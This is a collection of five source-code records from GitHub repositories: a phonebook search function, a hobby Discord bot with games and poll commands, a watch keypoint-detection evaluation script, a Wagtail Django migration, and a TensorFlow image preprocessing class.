+{"seq_id":"9462180557","text":"'''\n1. Поиск контакта по любым данным       (search)\nФункция\nна входе: любая строка str для поиска\nдействие: производит поиск всех вхождений, найденных в БД\nны выходе: все найденные записи в виде строк, слоа, в которых было найдено вхождение, \nможно подсветить цветом\n'''\n\n# функция произодит поиск всех вхождений в любых полях и на выходе выдает список в таком же формате.\ndef search(find, base):\n    res = []\n    res_ids = []\n    for i in base:\n        for j in i.items():\n            if find in j[1]:\n                    res_ids.append(j[0])\n\n    res_ids = set(res_ids)\n\n    for i in base:\n        dict_tmp = {}\n        for k in range(len(i)):\n            for j in res_ids:\n                dict_tmp[j] = i.get(j)\n        res.append(dict_tmp)\n    return res","repo_name":"Zuxelusa/HW_Phonebook","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27576037994","text":"import discord\nimport random\nimport sys\nfrom time import time, ctime, sleep\n\nmsgNo = 0\nt = time()\n\nclass MyClient(discord.Client):\n    async def on_ready(self):\n        print(\"Bot is online!\")\n\n#        These are just statuses that you can play around with:        \n        \n#        await client.change_presence(status = discord.Status.idle)\n#        await client.change_presence(activity=discord.Game(name=\"tag with the wolves\"))\n#        await client.change_presence(activity=discord.Streaming(name=\"for the wolves\", url=\"https://twitch.tv/cyberfowl\"))\n        await client.change_presence(activity=discord.Activity(type=discord.ActivityType.listening, name=\"the wolves howl\"))\n#        await client.change_presence(activity=discord.Activity(type=discord.ActivityType.competing, name=\"leadership\"))\n#        await client.change_presence(activity=discord.Activity.watching, name=\"the pack\")\n\n    async def on_member_join(member):\n        await client.send_message(member,\"Welcome!\")\n\n    async def on_message(self, message):\n\n        global recall, msgNo, link, phrase, space, time\n\n        mcu = message.content.upper()\n        justmc = message.content\n       \n#NITRO EMOJI VARIABLES\n    #RTX\n        dragontears = client.get_emoji(795731101083500564)\n        drafonexcite = client.get_emoji(795724032510394389)\n        dragonbigsmile = client.get_emoji(795731340439191655)\n        dragonblush = client.get_emoji(795731217877565491)\n        dragonchoco = client.get_emoji(795433637511561247)\n        dragoncool = client.get_emoji(795731424204030002)\n        dragoncringe = client.get_emoji(795731369748594750)\n        dragoncry = client.get_emoji(795724064567853079)\n        dragonhappy = client.get_emoji(795433742734590012)\n        dragonheadband = client.get_emoji(795731397628657714)\n        dragonheart = client.get_emoji(795723974701088839)\n        dragonhearteyes = client.get_emoji(795731172595990538)\n        dragonlove = client.get_emoji(795723937081589840)\n        dragonmlem = client.get_emoji(795731308831440916)\n        dragonnoop = client.get_emoji(795731139087826964)\n        dragonsad = client.get_emoji(795731059211632660)\n        dragonsmirk = client.get_emoji(795433540380262440)\n        dragonsurprised = client.get_emoji(795731256352309259)\n\n#POLLS \n        if message.guild.id == 775901922871214101:\n            if mcu.startswith(\"Z!POLL\"):\n                print(\"POLL - CHOCO SERVER\")\n                op1 = justmc.split(\":\")[-2]\n                op2 = justmc.split(\":\")[-1]\n                embed = discord.Embed(title = \"Poll by \" + str(message.author), color = 0xff0033)\n                embed.add_field(name = op1, value = \"Option 1 :one:\", inline = False)\n                embed.add_field(name = op2, value = \"Option 2 :two:\", inline = False)\n                embed.add_field(name = \"Note:\", value = \"For now, this command only supports only two polls.\" + \"\\n\" + \"Syntax: <z!poll :option 1:option 2>\")\n                embed.set_footer(text = \"Made and owned by CyberFowl#8931\")\n                channel = client.get_channel(776217580595445770)\n                await channel.send(\"Poll:\", embed = embed)\n            \n        if message.guild.id == 769557583429369867:\n            if mcu.startswith(\"Z!POLL\"):\n                print(\"POLL - COFFEE SERVER\")\n                op1 = justmc.split(\":\")[-2]\n                op2 = justmc.split(\":\")[-1]\n                embed = discord.Embed(title = \"Poll by \" + str(message.author), color = 0xff0033)\n                embed.add_field(name = op1, value = \"Option 1 :one:\", inline = False)\n                embed.add_field(name = op2, value = \"Option 2 :two:\", inline = False)\n                embed.add_field(name = \"Note:\", value = \"For now, this command only supports only two options.\" + \"\\n\" + \"Syntax: <z!poll :option 1:option 2>\")\n                embed.set_footer(text = \"Made and owned by CyberFowl#8931\")\n                channel = client.get_channel(774983135606734888)\n                await channel.send(\"Poll:\", embed = embed)\n\n#IN      \n\n        if message.author != client.user:\n            \n            if \"doggo\" in mcu:\n                print(\"Message received\")\n                await message.channel.send(\":heart_eyes:\")\n                \n#STARTS WITH\n\n            if mcu.startswith(\"YAY\"):\n                await message.channel.send(\":tada:\")\n            if mcu.startswith(\"YEY\"):\n                await message.channel.send(\":tada:\")\n            if mcu.startswith(\"Z!AA\"):\n                await message.channel.send(\"https://tenor.com/view/angry-anger-pixar-inside-out-aaah-gif-5628546\")\n            if message.author.id != 743009565242556526:\n                if mcu.startswith(\"KILL\") and \"@\" in mcu:\n                    print(\"NO HITMAN STRIKE\")\n                    await message.channel.send(\"Sorry, only <@!743009565242556526> can order hitman strikes\")\n\n            if message.author.id == 743009565242556526:\n                if mcu.startswith(\"Z!KILL\"):\n                    killed = mcu.split(\" \")[-1]\n                    print(\"KILLED USER\")\n                    await message.channel.send(\"Shot \" + killed + \"\\n\" + \"https://tenor.com/view/shoot-gift-gif-13384546\")\n#VARIABLES/LISTS\n            ball_response = [\"As I see it, yes\", \"Yes\", \"No\", \"Very likely\", \"Very unlikely\", \"Not even close\", \"Maybe\", \"Ask again later\", \"Better not tell you now\", \"Don't count on it\", \"It is certain\"]\n            lucky_phrase = random.randint(0,len(ball_response)-1)\n\n            space = \" \"\n\n#EVERYBODY\n            if mcu.startswith(\"Z!8BALL\"):\n                print(\"8ball\")\n                await message.channel.send(ball_response[lucky_phrase])\n            \n            if mcu == \"Z!COINFLIP\":\n                coinflip = random.choice([\"Heads\", \"Tails\"])\n                print(coinflip)\n                await message.channel.send(coinflip)\n            \n            if mcu == \"Z!DICE\":\n                dice = random.choice([\"1\",\"2\",\"3\",\"4\",\"5\",\"6\"])\n                print(\"Roll a die\")\n                await message.channel.send(dice)\n\n            if mcu == \"Z!BEGIN\":\n                await message.channel.send(\"Azure was last restarted at \" + str(ctime(t)) + \" IST\")\n                await message.channel.send(f\"Also, the ping is ***{round(client.latency * 1000)}ms***\")\n\n            if mcu == \"F FOR RESPECT\":\n                print(\"F FOR RESPECT\")\n                sleep(2)\n                await message.channel.send(\"F\")\n\n            if mcu == \"BRUH\":\n                print(\"BRUH MOMENT\")\n                await message.channel.send(\"*(Bruh moment)*\")\n\n            if mcu.startswith(\"Z!HBD\"):\n                bday = mcu.split(\" \")[-1]\n                print(\"Message received\")\n                await message.channel.send(\":tada: :tada: Happy birthday\" + bday + \"!!!! :tada: :tada:\" + \"\\n\" + \"https://tenor.com/bdecb.gif\")\n\n            if mcu.startswith(\"Z!HUG\"):\n                hug = mcu.split(\" \")[-1]\n                print(\"hug\")\n                await message.channel.send(\"You hug \" + hug + \"\\n\" + \"https://tenor.com/view/dog-hug-bff-best-friend-friend-gif-9512793\")\n\n            if mcu == 'Z!PING':\n                print('Z!ping') \n                await message.channel.send(f\":ping_pong: Pong! | Message took ***{round(client.latency * 1000)}ms*** to respond\")\n\n            if mcu.startswith(\"Z!PURGE\"):\n                purge = mcu.split(\" \")[-1]\n                await message.channel.purge(limit = int((purge)) + 1)\n\n            if mcu == \"Z!SPOTIFY\" and message.author.id != 743009565242556526:\n                embed=discord.Embed(title=\"Spotify: Liked songs\", url=\"https://open.spotify.com/collection/tracks\")\n                await message.channel.send(embed=embed)\n\n            if mcu == \"Z!INVITE\":\n                embed=discord.Embed(title=\"Invite the bot\", description=\"Ivite the bot here^\", url=\"https://discord.com/api/oauth2/authorize?client_id=783648485152784406&permissions=518208&scope=bot\")\n                await message.channel.send(embed=embed)\n\n\n#P!OWNER\n                \n    #ATLANTIS\n            if mcu == \"P!OWNER\" and message.guild.id == 788293597379166228:\n                print (\"ping saanvi\")\n                for i in range(1,6):\n                    await message.channel.send(\"<@!727964715216797697>\")\n                    sleep(2)\n\n    #CULT O COFFEE\n            if mcu == \"P!OWNER\" and message.guild.id == 769557583429369867:\n                print (\"ping ree the des\")\n                for i in range(1,6):\n                    await message.channel.send(\"<@!690227486721966130>\")\n                    sleep(2)\n\n    #CHOCOLATE CULT\n            if mcu == \"P!OWNER\" and message.guild.id == 775901922871214101:\n                print (\"ping anna\")\n                for i in range(1,6):\n                    await message.channel.send(\"<@!760603081573400576>\")\n                    sleep(2)\n\n    #TECH TERRAIN\n            if mcu == \"P!OWNER\" and message.guild.id == 746952048053977148:\n                print (\"ping rammy\")\n                for i in range(1,6):\n                    await message.channel.send(\"<@!737661910194847836>\")\n                    sleep(2)\n\n#CYBERFOWL\n\n            if message.author.id == 743009565242556526 or message.author.id == 690227486721966130:\n\n        #REMEMBERING STUFF\n\n                if mcu.startswith(\"<@!783648485152784406>\") and \"LINK\" in mcu:\n                    print(\"REMEMBER LINK\")\n                    link = justmc.split(\" \")[-1]\n                    await message.channel.send(\"Added link\")\n                    await message.channel.send(\"<:drafonexcite:795724032510394389>\")\n\n                if mcu.startswith(\"<@!783648485152784406>\") and \"PHRASE\" in mcu:\n                    print(\"REMEMBER PHRASE\")\n                    phrase = justmc.split(\" \")[2:]\n                    await message.channel.send(\"Added phrase\")\n                    await message.channel.send(\"<:drafonexcite:795724032510394389>\")\n\n                if mcu == \"<@!783648485152784406> DL\":\n                    print(\"DISPLAY LINK\")\n                    await message.channel.send(\"Here it is: \")\n                    await message.channel.send(link)\n                    await message.channel.send(\"<:drafonexcite:795724032510394389>\")\n                   \n                if mcu == \"<@!783648485152784406> DP\":\n                    print(\"DISPLAY PHRASE\")\n                    await message.channel.send(\"Here it is: \")\n                    phrase = space.join(phrase)\n                    await message.channel.send(phrase)\n                    await message.channel.send(\"<:drafonexcite:795724032510394389>\")\n\n        #NORMAL COMMANDS\n\n                if mcu.startswith(\"GN\"):\n                    print(\"GOOD NIGHT\")\n                    await message.channel.send(\"Good Night!!\")\n\n                if mcu == \"Z!Gah\":\n                    await message.channel.send()\n\n                if mcu.startswith(\"Z!YEET\"):\n                    print(\"YEETED SOMEBODY\")\n                    await message.channel.send(\"YEETED\" + \"\\n\" + \"https://tenor.com/view/yeet-lion-king-simba-rafiki-throw-gif-16194362\")\n\n                if mcu.startswith(\"Z!PINGY\"):\n                    ping = justmc.split(\" \")[-1]\n                    print(\"PING \" + ping)\n                    for i in range(1,6):\n                        await message.channel.send(ping)\n                        sleep(2)\n\n                if mcu == \"Z!SPOTIFY\":\n                    print(\"spotify link - boss\")\n                    embed=discord.Embed(title=\"Spotify: Liked Songs.\", url=\"https://open.spotify.com/collection/tracks\")\n                    await message.channel.send(embed=embed)\n                    await message.channel.send(\"Here you go boss!\")\n                    \n                if mcu == \"HELP\":\n                    print(\"Message received\")\n                    await message.channel.send(\"¯\\_(ツ)_/¯ What do you want help with? ||(Keeping in mind that I can't help a lot anyway)||\")\n                if mcu == \"HMM CAN YOU MAKE ME A COFFEE?\":\n                    print(\"Message received\")\n                    await message.channel.send(\"Sorry, I'm not *that* advanced... Maybe ask me in, what? 5 years? Hopefully I can do it then... Hopefully...\")\n\n#REEEEE THE DESTROYER\n\n            if message.author.id == 690227486721966130:\n\n                if mcu == \"HELP\":\n                    print(\"Message received\")\n                    await message.channel.send(\"¯\\_(ツ)_/¯ What do you want help with? ||(Keeping in mind that I can't help a lot anyway)||\")\n                if \"COFFEE\" in mcu:\n                    print(\"Message received\")\n                    await message.channel.send(\"Sorry, I don't make coffee lol\")\n\n#REEEEBEKA_\n            \n            if message.author.id == 762793879522639904:\n\n                if mcu == \"G!HELP\":\n                    for i in range(1,11):\n                        await message.channel.send(\"<@!743009565242556526>\")\n                        sleep(2)\n\n#MEMBER COUNT - CYBERFOWL ONLY\n\n            if message.author.id == 743009565242556526:\n\n                if mcu.startswith(\"Z!\") and \"MEMBERS\" in mcu:\n                    print(\"MEMBER COUNT\")\n                    memberCount == mcu.split(\" \")[1]\n                    await message.channel.send(\":tada: :tada: YAY!!! \" + memberCount  + \" MEMBERS!!! :tada: :tada:\" + \"\\n\" + \"https://tenor.com/view/minion-woohoo-yeah-excited-cheer-gif-5002827\")\n\n#EMOJIS\n            if mcu== \"Z!<@!783648485152784406>\":\n                print(\"Azure avatar\")\n                await message.channel.send(\"<:Azure:800679821013024769>\")\n\n            if mcu == \":SPOOKEDHAMSTER:\" or mcu == \":SPOOKED HAMSTER:\":\n                print(\":spookedhamster:\")\n                await message.channel.send(\"<:Hamster_spooked:793356985609093150>\")\n\n            if mcu == \"Z!NITRO FLEX\" and message.author.id == 743009565242556526:\n                print(\"NITRO FLEX\")\n                await message.channel.send(\"<:CFLogo:800679960532615179>\")\n                sleep(1)\n                await message.channel.send(\"<:NightHawk:800679902923456553>\")\n                sleep(1)\n                await message.channel.send(\"<:Griffin2k20:800679874309390346>\")\n                sleep(1)\n                await message.channel.send(\"<:Azure:800679821013024769>\")\n                \n            if mcu.startswith(\"Z!DISTRACT\"):\n                print(\"Distraction dance\")\n                for i in range(1,6):\n                    await message.channel.send(\"<a:AmongDistracted:803394547203309619> \" * 5)\n                    sleep(2)\n\n#EDITS - STILL EXPERIMENTING\n            if mcu == \"Z!EDIT\":\n                edit = await message.channel.send(\"This\")\n                sleep(2)\n                await edit.edit(content = \"This is\")\n                sleep(2)\n                await edit.edit(content = \"This is a\")\n                sleep(2)\n                await edit.edit(content = \"This is a long\")\n                sleep(2)\n                await edit.edit(content = \"This is a long message.\")\n                sleep(2)\n\n#REACTIONS\n            if mcu == \"OH K\":\n                print(\"OH K\")\n                thonkingbutcool = client.get_emoji(793356545127612456)\n                await message.add_reaction(thonkingbutcool)\n\n#ROLE STUFF (IN PROGRESS)\n            if message.guild.id == 769557583429369867:\n                role = discord.Object(777211683315253288)\n                if mcu == \"Z!ADD REBEL\":\n                    print(\"REBEL ALERT!!\")\n                    await message.author.add_roles(role)\n                    await message.channel.send(\"You are a rebel now :cry: Well, that's unfortunate...\")\n                if mcu == \"Z!REMOVE REBEL\":\n                    print(\"Back from the dark side!!\")\n                    await message.author.remove_roles(role)\n                    await message.channel.send(\"Yay!! You are not a rebel anymore!!\")\n\n#EMBEDIFY\n            if mcu.startswith(\"Z!EMBED\"):\n                print(\"Message recieved\")\n                content = justmc.split(\" \")[1:]\n                space = \" \"\n                string = space.join(content)\n                embed = discord.Embed(title = string, color = 0xff0033)\n                embed.set_footer(text = \"Made and owned by CyberFowl#8931\")\n                await message.channel.send(embed = embed)\n                print(\"Made an embed\")\n\n#TESTING GROUND\n            if message.guild.id == 773042587308785664:\n                if mcu == \"Z!T\":\n                    print(\"Code works...\")\n                    owner = discord.Guild.owner.id\n                    await message.channel.send()\n        \n            if mcu == \"Z!ME\":\n                print(\"User info\")\n                await message.channel.send(\"Name = \" + str(message.author.name) + \"\\n\" + \"Discriminator = #\" + str(message.author.discriminator) + \"\\n\" + \"Display name = \" + str(message.author.display_name) + \"\\n\" + \"Avatar = \" + \"https://cdn.discordapp.com/avatars/\" + str(message.author.id) + \"/\" + str(message.author.avatar) + \".png?size=128\")\n\n#CREDITS\n            if mcu == \"Z!CREDS\" or mcu == \"Z!CREDITS\":\n                print(\"CREDITS\")\n                embed = discord.Embed(title = \"<:drafonexcite:795724032510394389> Credits: (z!creds/z!credits)\", description = \"Members who (contributed to/helped me make) this bot\", color = 0x53f200)\n                embed.add_field(name = \"<:drafonexcite:795724032510394389> LordBusiness\", value = \"LordBusiness taught me how to make a bot, and also helped me when I had bugs/errors\")\n                embed.add_field(name = \"<:drafonexcite:795724032510394389> reeeeethedes\", value = \"ree was my partner and we both solved problems, stayed up late, and learnt more together\")\n                embed.add_field(name = \"<:drafonexcite:795724032510394389> Anaton\", value = \"Being a pro discord.py bot developer, he was always there when I could not find out how to do something as much as I searched\")\n                embed.add_field(name = \"<:drafonexcite:795724032510394389> rammy\", value = \"rammy supplied me with so many ideas that helped my bot become more advanced and fun!\")\n                embed.add_field(name = \"<:drafonexcite:795724032510394389> Rt/Rtx\", value = \"Rt drew all the dragon emojis in some of the commands, that look so cool!! *(Some of which are in this embed!)*\")\n                embed.set_footer(text = \"Made and owned by CyberFowl#8931\")\n                await message.channel.send(embed = embed)\n\n#FAILSAFE\n            if mcu == \"Z!EXIT\":\n                await message.delete()\n                await message.channel.send(\"Bot is shutting down now.\")\n                await message.channel.send(\"<@!743009565242556526>, bot was shutdown by <@!\" + str(message.author.id) + \">\")\n                sys.exit()\n\nprint(\"Booting up...\")\n\nclient = MyClient()\nclient.run(\"BOT_TOKEN_HERE\")\n","repo_name":"CyberFowl/Azure","sub_path":"Azure-MainCode.py","file_name":"Azure-MainCode.py","file_ext":"py","file_size_in_byte":18670,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"41255632182","text":"import json\nimport tempfile\nimport time\nfrom pathlib import Path\n\nimport click\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom more_itertools import flatten\nfrom PIL import Image\nfrom pycocotools.coco import COCO\nfrom pycocotools.cocoeval import COCOeval\nfrom tqdm import tqdm\n\nfrom watch_recognition.label_studio_adapters import (\n    load_label_studio_kp_detection_dataset,\n)\nfrom watch_recognition.predictors import (\n    KPHeatmapPredictorV2Local,\n    RetinaNetDetector,\n    RetinaNetDetectorLocal,\n)\nfrom watch_recognition.train.utils import label_studio_bbox_detection_dataset_to_coco\n\n\ndef generate_kp_coco_annotations_from_model(\n    detector: RetinaNetDetector,\n    kp_model: KPHeatmapPredictorV2Local,\n    coco_ds_file,\n):\n    coco = COCO(coco_ds_file)\n    category_name_to_cat = {cat[\"name\"]: cat for cat in coco.cats.values()}\n    annotations = []\n    object_counter = 1\n    for image_id in tqdm(coco.imgs):\n        with Image.open(coco.imgs[image_id][\"coco_url\"]) as img:\n            if img.mode != \"RGB\":\n                img = img.convert(\"RGB\")\n            predictions = detector.predict(img)\n\n            coco_predictions = []\n            for box in predictions:\n                points = kp_model.predict_from_image_and_bbox(img, box)\n                coco_box = box.to_coco_object(\n                    image_id=image_id,\n                    object_id=object_counter,\n                    category_id=category_name_to_cat[box.name][\"id\"],\n                )\n                # TODO possibly convert to integers\n                points = {kp.name: [float(kp.x), float(kp.y), 2] for kp in points}\n                coco_keypoints = [\n                    points.get(kp_name, [0, 0, 0])\n                    for kp_name in category_name_to_cat[box.name][\"keypoints\"]\n                ]\n                coco_keypoints = list(flatten(coco_keypoints))\n                coco_box[\"num_keypoints\"] = len(coco_keypoints) // 3\n                coco_box[\"keypoints\"] = coco_keypoints\n                coco_predictions.append(coco_box)\n                object_counter += 1\n            annotations.extend(coco_predictions)\n    return annotations\n\n\n@click.command()\n@click.option(\"--kp-confidence-threshold\", default=0.5, type=float)\ndef main(kp_confidence_threshold):\n    t0 = time.perf_counter()\n    detector = RetinaNetDetectorLocal(\n        Path(\"models/detector/exported_model/\"), class_to_label_name={1: \"WatchFace\"}\n    )\n    # TODO this should be in params.yaml\n    label_to_cls = {\n        \"Top\": 0,\n        \"Center\": 1,\n        \"Crown\": 2,\n    }\n    dataset_path = Path(\"datasets/watch-faces-local.json\")\n    cls_to_label = {v: k for k, v in label_to_cls.items()}\n    kp_detector = KPHeatmapPredictorV2Local(\n        Path(\"models/keypoint/\"),\n        class_to_label_name=cls_to_label,\n        confidence_threshold=kp_confidence_threshold,\n    )\n    bbox_labels = [\"WatchFace\"]\n\n    selected_coco_metrics = {\n        0: \"AP @IoU=0.50:0.95\",\n        1: \"AP @IoU=0.50\",\n        2: \"AP @IoU=0.75\",\n        5: \"AR @IoU=0.50:0.95\",\n        6: \"AR @IoU=0.50\",\n        7: \"AR @IoU=0.75\",\n    }\n    for split in [\"train\", \"val\"]:\n        print(f\"evaluating {split}\")\n\n        for i, (image, kps) in enumerate(\n            load_label_studio_kp_detection_dataset(\n                dataset_path,\n                crop_size=(256, 256),\n                bbox_labels=bbox_labels,\n                label_mapping=label_to_cls,\n                max_num_images=5,\n                split=split,\n            )\n        ):\n            save_file = Path(f\"example_predictions/keypoint/{split}_{i}.jpg\")\n            save_file.parent.mkdir(exist_ok=True)\n            plt.figure()\n            plt.tight_layout()\n            kp_detector.predict_and_plot(image)\n            plt.axis(\"off\")\n            plt.savefig(save_file, bbox_inches=\"tight\")\n        with tempfile.TemporaryDirectory() as tmp:\n            coco_tmp_dataset_file = tmp / f\"coco-kp-{split}.json\"\n            label_studio_bbox_detection_dataset_to_coco(\n                dataset_path,\n                output_file=coco_tmp_dataset_file,\n                label_mapping=label_to_cls,\n                split=split,\n            )\n            results = generate_kp_coco_annotations_from_model(\n                detector=detector,\n                kp_model=kp_detector,\n                coco_ds_file=coco_tmp_dataset_file,\n            )\n            coco_gt = COCO(coco_tmp_dataset_file)\n            metrics = {\"Num Images\": len(coco_gt.imgs)}\n\n            coco_dt = coco_gt.loadRes(results)\n            #\n            coco_eval = COCOeval(coco_gt, coco_dt, iouType=\"keypoints\")\n            # TODO understand what sigmas are appropriate for various watch keypoints\n            coco_eval.params.kpt_oks_sigmas = np.array([0.5, 0.5, 0.5]) / 10.0\n            coco_eval.evaluate()\n            coco_eval.accumulate()\n            coco_eval.summarize()\n\n        for k, v in selected_coco_metrics.items():\n            metrics[v] = coco_eval.stats[k]\n        with open(f\"metrics/keypoint/coco_{split}.json\", \"w\") as f:\n            json.dump(metrics, f, indent=2)\n        # TODO extract per class KP detection PR curves from coco eval data\n        # precision = coco_eval.eval[\"precision\"]\n        # all_recalls = slice(None, None)\n        # iou_th_50 = int(np.argwhere(coco_eval.params.iouThrs == 0.50))\n        # iou_th_75 = int(np.argwhere(coco_eval.params.iouThrs == 0.75))\n        # iou_th_95 = int(np.argwhere(coco_eval.params.iouThrs == 0.95))\n        # areas_all = 0\n        # max_dets_100 = 2\n        # pr_50 = precision[iou_th_50, all_recalls, cls, areas_all, max_dets_100]\n        # pr_75 = precision[iou_th_75, all_recalls, cls, areas_all, max_dets_100]\n        # pr_95 = precision[iou_th_95, all_recalls, cls, areas_all, max_dets_100]\n        #\n        # df_50 = pd.DataFrame({\"Recall\": coco_eval.params.recThrs, \"Precision\": pr_50})\n        # df_50.to_csv(f\"metrics/keypoint/PR-IoU@0.50_{split}.tsv\", sep=\"\\t\", index=False)\n        #\n        # df_75 = pd.DataFrame({\"Recall\": coco_eval.params.recThrs, \"Precision\": pr_75})\n        # df_75.to_csv(f\"metrics/keypoint/PR-IoU@0.75_{split}.tsv\", sep=\"\\t\", index=False)\n        #\n        # df_95 = pd.DataFrame({\"Recall\": coco_eval.params.recThrs, \"Precision\": pr_95})\n        # df_95.to_csv(f\"metrics/keypoint/PR-IoU@0.95_{split}.tsv\", sep=\"\\t\", index=False)\n    elapsed = time.perf_counter() - t0\n    print(f\"Keypoint detecto eval done in {elapsed:.2f}s\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"akucia/analog-watch-recognition","sub_path":"watch_recognition/watch_recognition/eval/keypoint_detection_eval.py","file_name":"keypoint_detection_eval.py","file_ext":"py","file_size_in_byte":6466,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"}
+{"seq_id":"73467696400","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport wagtail.wagtailcore.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('wagtailcore', '0029_unicode_slugfield_dj19'),\n        ('wagtailimages', '0013_make_rendition_upload_callable'),\n        ('maps', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Geo_wagtail_Page',\n            fields=[\n                ('page_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='wagtailcore.Page')),\n                ('date', models.DateField(verbose_name=b'Post date')),\n                ('intro', models.CharField(max_length=250)),\n                ('body', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n                ('main_image', models.ForeignKey(related_name='+', on_delete=django.db.models.deletion.SET_NULL, blank=True, to='wagtailimages.Image', null=True)),\n                ('map', models.ForeignKey(related_name='geo_wagtail_set', blank=True, to='maps.Map', null=True)),\n            ],\n            options={\n                'abstract': False,\n            },\n            bases=('wagtailcore.page',),\n        ),\n        migrations.CreateModel(\n            name='HomePage',\n            fields=[\n                ('page_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='wagtailcore.Page')),\n                ('body', wagtail.wagtailcore.fields.RichTextField(blank=True)),\n                ('intro', models.CharField(max_length=250)),\n                ('date', models.DateField(verbose_name=b'Post date')),\n                ('maps', models.ForeignKey(related_name='+', on_delete=django.db.models.deletion.SET_NULL, blank=True, to='maps.Map', null=True)),\n            ],\n            options={\n                'verbose_name': 'Homepage',\n            },\n            bases=('wagtailcore.page',),\n        ),\n    ]\n","repo_name":"fargalaxy1/geonode_old","sub_path":"geonode/geo_wagtail/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24507816014","text":"import os\nimport random\nimport numpy as np\nfrom PIL import Image\n\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nimport tensorflow_datasets as tfds\n\nimport hyperparameters as hp\n\n# Define necessary vals\ntfds.disable_progress_bar()\nautotune = tf.data.experimental.AUTOTUNE\n\norig_img_size = (512, 512)\ntest_img_size = (256, 256)\ninput_img_size = (256, 256, 3)\n\n\nclass Dataset():\n    \"\"\" Class for containing the training and test sets as well as\n    other useful data-related information. Contains the functions\n    for preprocessing.\n    \"\"\"\n    def __init__(self, data_path_train, data_path_test):\n        self.train_data = self.apply_preprocess(self.get_data(data_path_train, True, True), if_test=False)\n        self.test_data = self.apply_preprocess(self.get_data(data_path_test, False, False), if_test=True) # dont prprocess later\n\n    def get_data(self, path, shuffle, augment):\n        dataset = tf.keras.preprocessing.image_dataset_from_directory(path, image_size=(512, 512), label_mode=None, shuffle=True, class_names=None, batch_size=1)\n        return dataset\n\n    def normalize_img(self, img):\n        # img = tf.cast(img, dtype=tf.float32)\n        return img / 255.0\n\n    def flatten(self, *x):\n        return tf.data.Dataset.from_tensor_slices([i for i in x])\n\n    def preprocess_test_image(self, img):\n        img = img[0]\n\n        img = tf.image.resize(img, [*test_img_size])\n        img = self.normalize_img(img)\n        return img\n\n\n    def preprocess_train_image(self, img):\n        # Random flip\n        img = img[0]\n        img = tf.image.random_flip_left_right(img)\n        # Resize to the original size first\n        img = tf.image.resize(img, [*orig_img_size])\n        # Random crop to 256X256\n        other_img = tf.image.random_crop(img, size=[*input_img_size])\n        img = tf.image.random_crop(img, size=[*input_img_size])\n        # Normalize the pixel values in the range 0-1\n        img = self.normalize_img(img)\n        other_img = self.normalize_img(other_img)\n        return img, other_img\n\n    def apply_preprocess(self, dataset, if_test):\n        if if_test:\n            data = (\n                dataset.map(self.preprocess_test_image, num_parallel_calls=autotune)\n            )\n        else:\n            data = (\n                dataset.map(self.preprocess_train_image, num_parallel_calls=autotune)\n            )\n        data = data.flat_map(self.flatten)\n        data = data.cache()\n        data = data.shuffle(5000)\n        data = data.batch(hp.batch_size)\n        return data\n\n## to save images in in main\n\n    # RUN THIS IN MAIN TO LOOK AT IMAGES\n    # list_data = list(illo_data.train_data.as_numpy_iterator())\n    # print(list_data)\n    # print(\"length of data\", len(list_data))\n    # count = 1\n    # for d in list_data:\n    #     print(\"d\", d, d.shape)\n    #     print(\"d0\", d[0].shape)\n    #     # im =  Image.fromarray(d[0])\n    #     plt.imshow(d[0])\n    #     plt.savefig(\"figure\" + str(count))\n    #     count += 1\n        # break\n    \n    def check_images(self, filepath):\n        count = 0\n        \n        for filename in os.listdir(filepath):\n            count +=1\n            img = Image.open(filepath + os.sep + filename)\n            \n            data = open(filepath + os.sep + filename,'rb').read(10)\n\n            # check if file is JPG or JPEG\n            if data[:3] == b'\\xff\\xd8\\xff':\n                # print(filename+\" is: JPG/JPEG.\")\n                # print(\"\")\n                continue\n                # break\n            # check if file is PNG\n            elif data[:8] == b'\\x89\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a':\n                # print(filename+\" is: PNG.\")\n                print(filename + \"is png\")\n                new_filename = filename[:-3]\n                \n                print(new_filename)\n                print(filepath + os.sep + filename, filepath + os.sep +  new_filename + \"png\")\n                os.rename(filepath + os.sep + filename, filepath + os.sep +  new_filename + \"png\")\n            # check if file is GIF\n            else:\n                print(filename+\" is: invalid.\")\n                \n","repo_name":"artset/image-to-illustration","sub_path":"model/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
